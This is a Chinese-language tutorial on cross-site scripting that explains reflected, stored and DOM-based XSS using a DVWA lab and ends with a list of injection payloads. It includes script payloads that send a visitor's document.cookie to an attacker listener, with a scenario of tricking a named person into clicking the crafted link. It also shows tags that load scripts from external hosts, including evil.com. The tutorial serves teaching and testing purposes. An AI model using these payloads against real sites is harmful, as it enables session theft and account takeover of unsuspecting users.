• xss漏洞详解


    一、概念

      XSS(cross site scripting)跨站脚本为了不与网页中层叠样式表(css)混淆,故命名为xss。黑客将恶意代码嵌入网页中,当客户网文网页的时候,网页中的脚本会自动执行,从而达成黑客攻击的目的。

      XSS分类:反射型xss、持久性xss、dom型xss。

    二、反射型xss

       非持久化,一般需要欺骗客户去点击构造好的链接才能触发代码。

       

       可以看到这个窗口将我填写的信息写到了浏览器页面中,那这个时候我将信息修改成<script>alert('hhh')</script>,可以看到我嵌入的代码被执行了。

      

      这个时候我们将构造好的url发给丽丽http://dvwa/vulnerabilities/xss_r/?name=<script>new Image().src="http://localhost:5555?cookie="+encodeURI(document.cookie);</script>

      然后开始侦听本地5555端口,在丽丽点击这个连接以后,我们就获取到了丽丽的cookie信息。

          

    三、持久型xss

      顾名思义,这种xss漏洞危害极大,因为它可以长久的保存在网页中,每个浏览过此网页的用户都会中招,很多xss蠕虫的爆发都是基于持久型xss,一般在留言板,评论区类位置容易出现此漏洞。

      例:下面是一个有浏览板功能的网页,我们将我们的攻击代码留在页面中<script>alert('hhh')</script>

      

       这样我们每次访问这个页面都会接到hhh的弹窗,然后我们换一下payload,<script>new Image().src="http://localhost:5555?cookie="+document.cookie;</script> ,这样无论是那一个用户进入留言板这个页面,都会把自己的cookie弹到我们的监听窗口上。

    三、DOM型xss

      关于DOM型xss首先要明白一个问题,一个网页是经过怎么样的步骤显示在浏览器上的?

      首先肯定是要向目标服务器发出访问请求,服务器收到请求后,根据我们的请求内容返回网页源码,然后它在我们的浏览器上解析,渲染,最后呈现出一个完整的网页在我们的眼前。DOM型xss与上面两种最大的区别就是,dom型xss漏洞是基于文档对象模型(Document Objeet Model,DOM)的,它不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的。

      例:我们构造如下url:http://localhost/iisstart.html?hhh 查看网页内容如下,如果我们将?hhh替换为相应的xss攻击代码,就会产生相应的效果。

      

      然后我们在抓包工具查看服务器对刚刚请求的回包,我们发现构造的?hhh并没有记录到抓包工具中,证明服务器给我们返回的网页源码并没有出现xss,它是在浏览器渲染执行js的时候出现的,这就是dom型xss和其他两种xss的区别。

      

     四、XSS的payload

      XSS可以插在哪里? 
      用户输入作为script标签内容
      用户输入作为HTML注释内容
      用户输入作为HTML标签的属性名
      用户输入作为HTML标签的属性值
      用户输入作为HTML标签的名字
      直接插入到CSS里  

      <script>标签:script是最有直接的xss攻击载荷,脚本标记可以应用外部的js代码,或者将脚本插入网页之中。

        <script>alert("hhh")</script>

        <script src="http://1.1.1.1/a.js"></script>

      <img >标签:

        <img src="2" onerror=alert('hhh')>

           <img src="2" onerror=alert(/hhh/)>
        <img src="javascript:alert("XSS");">
        <img dynsrc="javascript:alert('XSS')">
        <img lowsrc="javascript:alert('XSS')">
      <table>标签:

        <table background="javascript::alert('hhh')">

      <iframe>标签:<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。

        <iframe src=”http://evil.com/xss.html”>

      

      

      

       

  • 相关阅读:
    POJ 2135 Farm Tour(最小费用最大流,变形)
    HDU 1503 Advanced Fruits (LCS,变形)
    HDU Senior's Gun (水题)
    POJ 3648 Wedding (2-SAT,经典)
    HDU 3549 Flow Problem 流问题(最大流,入门)
    解决在eclipse中导入项目名称已存在的有关问题
    如何将js导入时的小红叉去掉
    servlet传值到servlet传值问题
    转发重定向的用法
    parameter与attribute的使用场合(转载自草原和大树)
  • 原文地址:https://www.cnblogs.com/zllovellyo/p/12589094.html
Copyright © 2020-2023  润新知